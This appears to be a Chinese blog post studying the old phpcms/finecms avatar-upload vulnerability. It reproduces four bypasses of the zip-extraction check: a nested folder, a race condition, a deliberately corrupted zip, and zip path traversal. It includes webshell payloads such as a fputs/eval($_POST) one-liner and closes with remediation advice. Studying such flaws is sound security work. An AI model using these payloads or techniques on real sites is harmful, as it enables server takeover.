• 代码审计学习phpcms头像上传漏洞


    本篇文章基于p神的文章进行一个学习复现,并了解了当年一些安全圈的事件。原文地址如下
    回忆phpcms头像上传漏洞以及后续影响

    0x01 最初的phpcms头像上传getshell漏洞

    不知道大家还记得phpcms曾经火极一时的头像上传漏洞不,因为这个漏洞,互联网上大量站点被黑,影响极为恶劣。简单来说phpcms对头像上传是这么处理:上传上去的zip文件,它先解压好,然后删除非图片文件。
    关键地方代码:

    <?php
    //存储flashpost图片
      $filename = $dir.$this->uid.'.zip';
      file_put_contents($filename, $this->avatardata);
    
    //此时写入压缩文件夹内容
    
      //解压缩文件
      pc_base::load_app_class('pclzip', 'phpsso', 0);
      $archive = new PclZip($filename);
      if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) {
       die("Error : ".$archive->errorInfo(true));
      }
    
    //568 行
    
    //判断文件安全,删除压缩包和非jpg图片
      $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
      if($handle = opendir($dir)) {
          while(false !== ($file = readdir($handle))) {
        if($file !== '.' && $file !== '..') {
         if(!in_array($file, $avatararr)) {
          @unlink($dir.$file);
         } else {
          $info = @getimagesize($dir.$file);
          if(!$info || $info[2] !=2) {
           @unlink($dir.$file);
          }
         }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    根据他的代码的代码逻辑我自己搭建了相关环境,如图所示
    在这里插入图片描述
    第一次上传相关php代码

    <?php
    header("Content-Type:text/html; charset=utf-8");
    require_once('pclzip.lib.php');
    
    $file = $_FILES['file'];
    if (!$file) {
        exit("请勿上传空文件");
    }
    $name = $file['name'];
    $dir = 'upload/';
    $ext = strtolower(substr(strrchr($name, '.'), 1));
    
    //递归删除  zip  1   web.php
    function check_dir($dir)
    {
        $handle = opendir($dir);
        while (($f = readdir($handle)) !== false) {
            if (!in_array($f, array('.', '..'))) {
                $ext = strtolower(substr(strrchr($f, '.'), 1));
                if (!in_array($ext, array('jpg', 'gif', 'png'))) {
                    unlink($dir . $f);
                }
            }
        }
    }
    if (!is_dir($dir)) {
        mkdir($dir);
    }
    
     $temp_dir = $dir . 'member/1/';
    if (!is_dir($temp_dir)) {
        mkdir($temp_dir);
    }
    
    if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {
        if ($ext == 'zip') {
    
            $archive = new PclZip($file['tmp_name']);
    
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir);
                exit("解压失败");
            }
            check_dir($temp_dir);
            exit('上传成功!');
        } else {
            move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);
            check_dir($temp_dir);
            exit('上传成功!');
        }
    } else {
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    代码逻辑就是上传一个zip后,会新建一个目录进行解压缩,把解压缩后的文件进行一个判断,将图片格式以外的后缀文件进行删除。

    我们来测试一下,直接将php代码和正常图片压缩成web.zip进行上传。
    在这里插入图片描述
    提示上传成功
    在这里插入图片描述

    进入服务端查看,根据我们的代码,会生成一个member/1的目录,发现我们上传的压缩包已经成功解压缩,但是php代码被删除了,只剩下图片

    在这里插入图片描述

    但是因为他没有递归删除,也没有删除文件夹,所以我们可以把webshell放在压缩包的文件夹中,即可避免被删除了。把图片和php代码放在一个文件夹中再进行压缩成web.php上传
    在这里插入图片描述
    上传成功
    在这里插入图片描述

    查看member/1目录,发现我们上传的文件夹中php代码未被删除,成功绕过。
    在这里插入图片描述
    这就是phpcms最早的头像上传漏洞。这个漏洞影响的不只是phpcms,也包括抄袭其代码的finecms。

    finecms是一个很喜感的cms,在phpcms出问题以后,finecms偷偷将漏洞修复了,当然修复方法就是直接拷贝了phpcms的补丁。

    0x02 finecms前台getshell(phpcms补丁绕过)

    后来finecms的开发者,自以为自己反应速度得当,在迅雷不及掩耳盗铃的时间内将phpcms的补丁抄了过来,然后就安然度过了半年的悠闲时光。但phpcms的补丁被绕过了无数次难道你不知道么?你这么屌你的用户们知道么?

    那么,我们来看看finecms(phpcms代码类似)是怎么修补这个漏洞的:

    <?php
    public function upload() {
            if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
    
                exit('环境不支持');
            }
            $dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; // 创建图片存储文件夹
            
            if (!file_exists($dir)) {
    
                mkdir($dir, 0777, true);
    
            }
    
            $filename = $dir.'avatar.zip'; // 存储flashpost图片
    
            file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);
    
            // 解压缩文件
    
            $this->load->library('Pclzip');
    
            $this->pclzip->PclFile($filename);
    
            if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
                exit($this->pclzip->zip(true));
    
            }
    
            // 限制文件名称
    
            $avatararr = array('45x45.jpg', '90x90.jpg');
    
            // 删除多余目录
    
            $files = glob($dir."*");
    
            foreach($files as $_files) {
    
                if (is_dir($_files)) {
    
                    dr_dir_delete($_files);
    
                }
    
                if (!in_array(basename($_files), $avatararr)) {
    
                    @unlink($_files);
    
                }
    
            }
    
            // 判断文件安全,删除压缩包和非jpg图片
    
            if($handle = opendir($dir)) {
    
                while (false !== ($file = readdir($handle))) {
    
                    if ($file !== '.' && $file !== '..') {
    
                        if (!in_array($file, $avatararr)) {
    
                            @unlink($dir . $file);
    
                        } else {
    
                            $info = @getimagesize($dir . $file);
    
                            if (!$info || $info[2] !=2) {
    
                                @unlink($dir . $file);
    
                            }
    
                        }
    
                    }
    
                }
    
                closedir($handle);   
    
            }
    
            @unlink($filename);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87

    好,我们看到,之前产生漏洞的原因就是因为没有考虑文件在文件夹中的情况,只删除了压缩包根目录下的非法文件,而没有删除其文件夹中的非法文件。

    所以补丁就采用了递归删除的方式,将压缩包中所有非法文件删除。就是这个dr_dir_delete函数。

    我们就不研究这个函数了,我们考虑一种情况,那么如果我上传包含这样代码的压缩包:

    <?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>
    
    • 1

    在文件上传解压到被删除这个时间差里访问,就能在网站根目录下生成新的php文件,那么新生成的php文件是不会被删除的。

    这就是一个竞争性上传漏洞,需要我们抓住这个时间差,在上传的php文件还没被删除前访问到它,就能够暴力getshell了。

    所以修改我们之前所搭建的环境,将php代码中的第一个function递归删除的函数替换成以下代码。

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                 }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f);
                    }
                }
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    这里使用了递归删除,所以上传文件夹不能绕过了,我们可以尝试测试一下。
    在这里插入图片描述
    上传后发现文件夹中只剩图片了,php代码被删除了,但是因为他这里上传文件夹后代码名字未修改,并且他是先上传再删除,所以存在一个时间竞争漏洞。我们可以尝试一下。

    根据我们之前上传的路径为

    http://127.0.0.1/xss_location/upload.php/member/1/1/web.php
    
    • 1

    他需要跳跃三次才能到达跟目录,所以我们的payload如下

    <?php fputs(fopen('../../../payload.php','w'),'<?php phpinfo(); ?>');
    
    • 1

    用时间竞争型漏洞直接在根目录下写入我们的一句话木马,这样他递归删除只是删除当前文件夹的,不会检测根目录。尝试一下

    打开burpsuit,上传1.zip并重发到Intruder模块中,准备模拟多次上传
    在这里插入图片描述
    设置访问次数为5000次
    在这里插入图片描述
    在抓取我们要访问的目录代码,上传到Intruder模块
    在这里插入图片描述
    payload设置成6000次
    在这里插入图片描述
    两个同时开始start attack。
    但是由于可能是我用本机搭建的抓包的原因,导致用burp发包的方式文件显示上传,但服务端接收不到,但代码中肯定是存在这个时间竞争问题的,这里就不做演示了。

    0x03 突破程序员的小聪明,phpcms补丁的继续绕过

    于是finecms意识到自己的问题,偷偷修补了这个安全问题。当时的他们是这样修复的:

    <?php
    // 创建图片存储的临时文件夹
    
       $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';
    
       if (!file_exists($temp)) {
    
           mkdir($temp, 0777);
    
       }
    
       $filename = $temp.'avatar.zip'; // 存储flashpost图片
    
       file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);
    
       // 解压缩文件
    
       $this->load->library('Pclzip');
    
       $this->pclzip->PclFile($filename);
    
       if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
           exit($this->pclzip->zip(true));
    
       }
    
       @unlink($filename);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    说起来这也是phpcms曾经的修复方法,就是将压缩包放在一个随机命名的文件夹中再解压缩,这样你猜不到访问地址也就没法去暴力getshell了。

    但是实质上这也只是解决了一个芝麻小的问题,而真正出现漏洞的点他们并未进行修复。

    我们看到这段代码:

    <?php
    if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
        exit($this->pclzip->zip(true));
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    当解压发生失败时,就退出解压缩过程。

    这也是一个很平常的思路,失败了肯定要报错并退出,因为后面的代码没法运行了。但是,程序员不会想到,有些压缩包能在解压到一半的时候出错。

    什么意思,也就说我可以构造一个“出错”的压缩包,它可以解压出部分文件,但绝对会在解压未完成时出错。这是造成了一个状况:我上传的压缩包被解压了一半,webshell被解压出来了,但因为解压失败这里exit($this->pclzip->zip(true));退出了程序执行,后面一切的删除操作都没有了作用。

    怎么样构造一个解压会出错的压缩包,可以查看我的这篇文章
    如何构造一个出错的zip

    我这里使用php中的自带的ZipArchive库进行复现。首先将一个php代码和一个txt文本文件压缩成一个zip文件。
    在这里插入图片描述
    为了让ZipArchive出错,比如,Windows下不允许文件名中包含冒号(:),
    我们就可以通过在010editor中将1.txt的deFileName属性的值改成“1.tx:”。
    在这里插入图片描述
    此时解压就会出错,但1.php被保留了下来。
    尝试上传,提示fail to extract
    在这里插入图片描述
    查看服务端,发现php代码成功上传
    在这里插入图片描述
    ZipArchive相关代码如下

        if ($ext == 'zip') {
            $zip = new ZipArchive;
            if(!$zip->open($file['tmp_name'])) {
                echo "fail";
                return false;
            }
            if(!$zip->extractTo($temp_dir)) {
                //check_dir($temp_dir);
                exit("fail to extract");
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    0x04 加了行代码就真的安全了吗?终极手段上!

    最后,finecms官网被p神日了之后,依旧无耻地说自己已经修复了这个漏洞,真稀奇。

    最后更新的代码

    <?php
    if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
    
        exit('环境不支持');
    
    }
    
    // 创建图片存储文件夹
    
    $dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/';
    
    if (!file_exists($dir)) {
    
        mkdir($dir, 0777, true);
    
    }
    
    // 创建图片存储的临时文件夹
    
    $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';
    
    if (!file_exists($temp)) {
    
        mkdir($temp, 0777);
    
    }
    
    $filename = $temp.'avatar.zip'; // 存储flashpost图片
    
    file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);
    
    // 解压缩文件
    
    $this->load->library('Pclzip');
    
    $this->pclzip->PclFile($filename);
    
    if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
    
        @dr_dir_delete($temp);
    
        exit($this->pclzip->zip(true));
    
    }
    
    @unlink($filename);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46

    加了行代码:@dr_dir_delete($temp);,解压出错后,在exit前将已经解压出来的内容删除了。确实避免了我在0×03中说到的安全问题。

    但finecms的开发者依旧是没有能看到真正造成这个漏洞的原因。

    原因就出在解压压缩包的这个操作上。这个类你就把别人的代码拿来一抄就觉得完毕了,你知道这个类真正的用法么?大家猜猜我这次怎么绕过上诉补丁的。

    压缩包中通常是不含有诸如“…/”、“…”这种文件名的,但通常不含有不代表不能含有。我如果把压缩包中某文件名改成…/…/…/…/…/index.php,是不是就能直接把你首页变成我的webshell呀?

    这就是因为抄袭者并没有真正领悟zip这个类的使用方法,导致了这个安全问题。我在本地用notepad++即可修改、构造一个压缩包。

    先把自己的shell改名字成aaaaaaaaaaaaaaaaaaaaa.php

    之所以起这个名字,就是预留一些空间,方便我之后将文件名改成…/…/aaaaaaaaaaaaaaaaaaaaa.php而不用怕字符串长度不对。

    把文件直接打包成zip,用010Editor打开:
    修改成如图所示
    在这里插入图片描述

    然后就大功告成。

    上传头像时抓包将刚才构造的压缩包贴进去:
    在这里插入图片描述

    然后,网站根目录下就会有你的shell了:aaaaaaaaaaa.php
    在这里插入图片描述

    通过这个方法,就能无限制地getshell

    0x05总结,如何修复这个安全问题

    究竟是什么原因造成了这个漏洞,究其根本还是以为你将用户不安全的POST数据写入了文件,并解压到web目录下了。

    世界上有无数种方法可以避免这个问题,web目录下随便写文件真的好吗?为何你不把压缩包放进tmp目录里,如果上传、解压缩的操作都能在tmp目录里完成,再把我们需要的头像文件拷贝到web目录中,还会有这么麻烦的安全问题吗?

    phpcms已经彻底抛弃了解压缩的方式,直接在前端将图片处理完成后进行上传。但愚昧的finecms开发者还是抱着自己无知的思路,去用近乎“黑名单”的方式去解决这个问题,那就是黑客怎么日,他就怎么补,永远不知道下一步黑客会从哪里进入。这样的人永远只能落后挨打,这样的cms迟早会成为一个打满补丁的破布,每一个补丁都将付出无数速度与效率的代价。所以现在finecms已经被时代淘汰了

  • 相关阅读:
    I2C 子系统(二):I3C spec
    C++面试八股文:std::string是如何实现的?
    Linux管道与重定向详解
    springboot - 手写spring mvc
    对比Excel学openpyxl系列之单元格选择与字体设置
    android-AP6212配置
    mysql集群的主从复制搭建
    vite 搭建双入口
    0046-量化第十一天:PythonGo-第一个简单策略
    redis-Modules(TairHash)
  • 原文地址:https://blog.csdn.net/m0_46467017/article/details/126358718